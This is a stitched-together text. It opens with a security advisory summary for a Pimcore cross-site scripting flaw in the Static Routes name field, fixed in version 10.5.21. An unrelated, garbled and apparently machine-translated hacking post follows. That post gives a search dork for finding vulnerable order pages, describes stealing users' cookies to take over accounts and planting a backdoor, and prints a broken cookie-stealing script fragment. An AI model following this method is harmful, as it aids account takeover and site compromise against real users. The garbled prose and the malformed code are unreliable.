GHSA-MHPJ-7M7H-8P6X Pimcore Cross-site Scripting (XSS) in Static Routes name field

Impact This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie or redirect users to other malicious sites. Patches Update to version 10.5.21 or apply this patch manually:...

Star outer order is submitted at the filter is not strict lead to XSS-vulnerability warning-the black bar safety net

google or baidu search inurl:user/order. asp? type=virtual host Temporarily onlyXSSto steal the cookie Can be added to the account can be backstage hanging horse, etc., etc. own use. XXS steal the cookie code scriptdocument. write'img src="" width=0 height=0 border=0 /';/script news. asp code: %...